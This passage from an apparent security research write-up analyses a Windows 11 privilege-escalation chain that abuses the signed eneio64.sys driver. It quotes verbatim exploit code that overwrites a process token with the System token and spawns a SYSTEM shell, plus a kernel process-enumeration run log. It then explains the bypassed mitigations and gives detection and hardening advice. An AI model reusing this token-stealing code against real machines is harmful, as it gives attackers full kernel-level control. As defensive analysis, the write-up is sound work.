            memory_data[currentProcTokenPhysical + i] = (BYTE)((systemToken >> (i * 8)) & 0xFF);
        }

        std::cout << "[*] Exploit Completed !" << std::endl;

        UnMapViewOfSection(drv, inbuf);

        system("powershell.exe");

Verbatim from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. The enessakircolak implementation performs the identical operation, having located the current process by walking forward through ActiveProcessLinks until the PID matches and then stepping back one entry through Blink:

        unsigned long long sys_token = eprocess_system + EPROCESS_TOKEN_OFFSET;
        sys_token = VirtualToPhysical(cr3, sys_token, memory_data);
        sys_token = ReadMemoryU64(memory_data, sys_token) & 0xFFFFFFFFFFFFFFF0;

        std::cout << "[+] Sys_token: " << sys_token << std::endl;

		unsigned long long curr_token = (next_process - Flink_OFFSET) + EPROCESS_TOKEN_OFFSET; // don't forget to subtract flink offset to get eprocess
        curr_token = VirtualToPhysical(cr3, curr_token, memory_data);

        std::cout << "[+] Overwriting current process token" << std::endl << std::endl;

        for (int i = 0; i < sizeof(UINT64); ++i) {
            memory_data[curr_token + i] = (BYTE)((sys_token >> (i * 8)) & 0xFF);
        }


        std::cout << "[+] I'm gROOT... ";
        system("cmd");

Verbatim from LPEeneio64.cpp in enessakircolak/Windows-11-24h2-Kernel-Exploit (MIT).

Windows evaluates every access check against whatever EPROCESS.Token currently points at. There is no cache to invalidate, no signature to verify, no revalidation on the next syscall. The child process spawned on the following line inherits the stolen token and comes up as NT AUTHORITY\SYSTEM.

Two artefacts of the technique are worth internalising. First, the token object’s real reference count was never incremented — ObReferenceObject was bypassed entirely — so two processes now point at one token and only one of them is accounted for. When the exploit process exits, the kernel dereferences the System token on its behalf. Both proofs of concept avoid the consequences by keeping an interactive shell alive rather than terminating cleanly. Second, the resulting process carries System’s SID, logon session and integrity level while having been created by an interactive user, which is the single most reliable detection signal in the whole chain.

The Chain End to End

Xacone’s procs variant does not steal a token at all — it enumerates kernel process objects, which is the more useful capability for anything that comes after initial escalation. Its run log is the clearest single view of the whole pipeline executing:

C:\>C:\Temp\leak_proc_addr.exe

[*] Successfully opened the device handle
[*] Current process (exploit.exe) PID: 2900
[*] ntoskrnl.exe loaded at 00007FF6F0010000
[*] Total physical memory: ~0x1853d9000 bytes
[*] Highest available physical memory address: ~0x1853d8fff
[*] Mapped 1853d8fff bytes at 000001939A5D0000
[*] NTOSKRNL.exe entry point at 0xb423a0
[*] KeCapturePersistentThreadState offset is 0x2a2b10
[*] Found KiSystemStartup -> FFFFF80790F423A0
[*] In a silly way, we can assume NTOS base address is FFFFF80790400000
[*] CR3 (PML4) = 7d5000
[*] nt!KeCapturePersistentThreadState is at FFFFF807906A2B10
[*] nt!KeCapturePersistentThreadState physical address at 00000001006A2B10

[*] Walking PsActiveProcessHead:
[#00] EPROCESS: 0xffffa60f43493040 | PID: 4 | Name: System
[#01] EPROCESS: 0xffffa60f4355d080 | PID: 176 | Name: Secure System
[#02] EPROCESS: 0xffffa60f43579080 | PID: 216 | Name: Registry
[#03] EPROCESS: 0xffffa60f482640c0 | PID: 828 | Name: smss.exe
[#04] EPROCESS: 0xffffa60f4955e140 | PID: 988 | Name: csrss.exe
[#05] EPROCESS: 0xffffa60f497d6080 | PID: 1088 | Name: wininit.exe
[#06] EPROCESS: 0xffffa60f497a4080 | PID: 1096 | Name: csrss.exe
[#07] EPROCESS: 0xffffa60f49825080 | PID: 1160 | Name: winlogon.exe
[#08] EPROCESS: 0xffffa60f4984a140 | PID: 1240 | Name: services.exe
[#09] EPROCESS: 0xffffa60f49ca40c0 | PID: 1264 | Name: LsaIso.exe
[#10] EPROCESS: 0xffffa60f49ca7100 | PID: 1276 | Name: lsass.exe

[...]

[*] Found self (leak_proc_addr.exe) at EPROCESS: 0xffffa60f4de55080
[#203] EPROCESS: 0xffffa60f4de55080 | PID: 2900 | Name: leak_proc_addr
[#204] EPROCESS: 0xffffa60f4abf8080 | PID: 13260 | Name: cmd.exe

[...]

[*] Physical memory section unmapped successfully

Run log reproduced from procs/README.md in Xacone/Eneio64-Driver-Exploits, abridged in the middle where the original shows the full process list. Note entries #01 and #09: Secure System and LsaIso.exe are the VBS-backed processes. Their EPROCESS objects are enumerable from a medium-integrity process, which is a useful reminder that VBS protects specific secrets and specific execution contexts — not the normal-world kernel’s bookkeeping about them.

Why the Mitigations Did Not Apply

It is worth being precise about which controls this chain walks past and why, because the list is a fair summary of the limits of code-integrity-centred defence.

  • HVCI enforces that kernel code pages are signed and that no page is simultaneously writable and executable. The chain introduces no code into the kernel. It loads a legitimately signed driver, requests a legitimate mapping, and modifies data on pages that were already writable. Every instruction the exploit executes runs in user mode.
  • Kernel CFG, CET and shadow stacks defend indirect control-flow transfers. There are none: no ROP chain, no function pointer overwrite, no call gadget. This is a pure data-only attack.
  • KASLR assumes the attacker has no oracle for kernel addresses. A physical-memory read is a better oracle than any leak API ever was, because it does not report addresses — it hands over the memory those addresses point at. The Low Stub scan converts randomisation into an eight-byte comparison.
  • The 2020-era kernel-address leak restrictions closed EnumDeviceDrivers and friends to medium-integrity callers. That is exactly why the later variants stopped using them; the restriction removed a convenience, not a capability.
  • SMEP and SMAP prevent the kernel from executing or touching user pages unexpectedly. Here the kernel deliberately maps its own physical memory into user space at the driver’s request — the mapping is legitimate by construction.
  • The Microsoft Vulnerable Driver Blocklist is the control that would have stopped this, and per the source authors’ testing in March and September 2025, eneio64.sys was not on it. The blocklist is an allow-by-default mechanism, and 2014-vintage OEM utility drivers are a very large tail.

The pattern generalises well beyond this driver. Any driver that exposes \Device\PhysicalMemory, MMIO mapping, arbitrary MSR access or DMA to an unprivileged caller collapses the same set of boundaries at once, and the exploitation work is a fixed, reusable cost: one page-table walker, one Low Stub scanner, one offset table. That is precisely why all three of these repositories share so much structure.

Key Takeaways

  • A driver that maps physical memory to an unprivileged caller is not one vulnerability — it is a universal kernel read/write primitive that renders KASLR, HVCI, CFG and CET simultaneously irrelevant.
  • eneio64.sys is 18 KB compiled in 2014 and signed by ASUSTeK on a certificate that expired in 2015. Authenticode timestamping keeps it loadable, and it exposes six IOCTLs — physical memory mapping, port I/O and MSR read/write — every one of them FILE_ANY_ACCESS.
  • The hard part of the exploit is not the bug, it is the plumbing: reimplementing the x86-64 four-level page walk in user mode so that kernel virtual addresses mean something in a physical-memory view.
  • The Windows Low Stub in the first megabyte of physical memory carries both CR3 and a live pointer into ntoskrnl. One eight-byte comparison against a known RVA defeats kernel ASLR without any leak API.
  • Resolving PsActiveProcessHead by decoding the RIP-relative lea instructions inside the exported KeCapturePersistentThreadState removes the last hardcoded offset. Structure-offset churn between Windows builds is not a mitigation against an exploit built this way.
  • The payload is a single masked eight-byte write to _EPROCESS.Token. It bypasses ObReferenceObject, leaving a reference-count imbalance and a process whose token does not match its creator — both of which are detectable.
  • Between the two repositories, the same chain is implemented three ways with very different portability. The version that resolves everything from the export table is the one defenders should assume they are facing.

Defensive Recommendations

  • Do not rely on the Microsoft blocklist alone. Deploy a WDAC policy that allows driver loads by explicit publisher and file hash rather than blocking known-bad. eneio64.sys is a concrete demonstration that the recommended blocklist lags real-world abuse by years. Enable the Microsoft Vulnerable Driver Blocklist as a floor, then add your own deny rules for the WinIo family — eneio64.sys, ene.sys, GLCKIo-family devices, WinIo.sys, WinRing0.sys and their vendor rebadges.
  • Alert on the creation of a handle to known BYOVD device objects. \Device\GLCKIo, \Device\PhysicalMemory and equivalents have no legitimate consumer on a managed endpoint. A file-create event naming these devices from a non-vendor process is high-signal and cheap to collect.
  • Treat service creation for an unsigned-by-you kernel driver as an incident, not a finding. Loading the driver requires administrative rights, so this chain is an integrity-level escalation from admin to kernel/SYSTEM in practice. Monitor ntoskrnl image-load events (Sysmon Event ID 6) and correlate against your approved driver inventory.
  • Hunt for token/creator mismatches. Compare each running process’s token SID, integrity level and logon session against its parent’s and against the token it was created with. A process created by an interactive user that is running with the System logon session and no corresponding impersonation API call is the reliable end-state signature of this technique, independent of which driver was used.
  • Watch for the memory-access shape, not the API. A medium-integrity process holding a multi-gigabyte PAGE_READWRITE | PAGE_NOCACHE section view, then reading the first megabyte of it sequentially, is behaviourally distinctive. The retry and self-restart loops in these PoCs amplify the signal further.
  • Enable HVCI and VBS, and be clear about what they buy you. They raise the cost of kernel code execution substantially and are worth deploying — but as this chain demonstrates, they do not address data-only attacks. Do not treat HVCI as coverage for driver-supplied physical memory access.
  • Constrain who can load drivers at all. Remove local administrator rights where possible, and where they must exist, gate SeLoadDriverPrivilege and service-creation via privileged access management, since driver load is the sole prerequisite for the entire chain.
  • Inventory OEM utility software. RGB lighting, fan control, overclocking and diagnostics packages are the primary distribution channel for WinIo-derived drivers. Every one of them on a corporate image is a latent instance of this capability.

Conclusion

The interesting question raised by these three repositories is not how a 2014 driver still escalates privileges on Windows 11 24H2 — the answer to that is simply that the blocklist has not caught up. It is how completely a physical-memory primitive dissolves the modern kernel-hardening stack. HVCI, CFG, CET, KASLR and the leak restrictions were each designed against a different step of the classic exploitation pipeline, and a driver that maps RAM into user space skips the entire pipeline: no corruption, no control-flow hijack, no leak, no injected code. What remains is a page-table walker, a signature scan and an eight-byte store. Those components are portable, well understood, and now published in three independent implementations. The defensive centre of gravity has to shift accordingly — toward controlling which drivers load in the first place, and toward detecting the state a data-only attack leaves behind rather than the code it never wrote.

Original text: Eneio64-Driver-Exploits and the write-ups “Exploiting eneio64.sys Kernel Driver on Windows 11 by Turning Physical Memory R/W into Virtual Memory R/W” and “Circumventing Leak Restrictions and Breaking KASLR on Windows 11 24H2 using an HVCI-compatible Driver with Physical Memory Access” by Yazid (@Xacone); Windows-11-24h2-Kernel-Exploit by Enes Şakir Çolak (@enessakircolak), MIT License. CVE-2020-12446 was discovered by Hashim Jawad (@ihack4falafel), ACTIVE Labs advisory ACTIVE-2020-003. 24H2 structure offsets via the Vergilius Project; driver entry at LOLDrivers.

For educational and defensive research purposes. The techniques described are documented here so that defenders can recognise and mitigate them.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion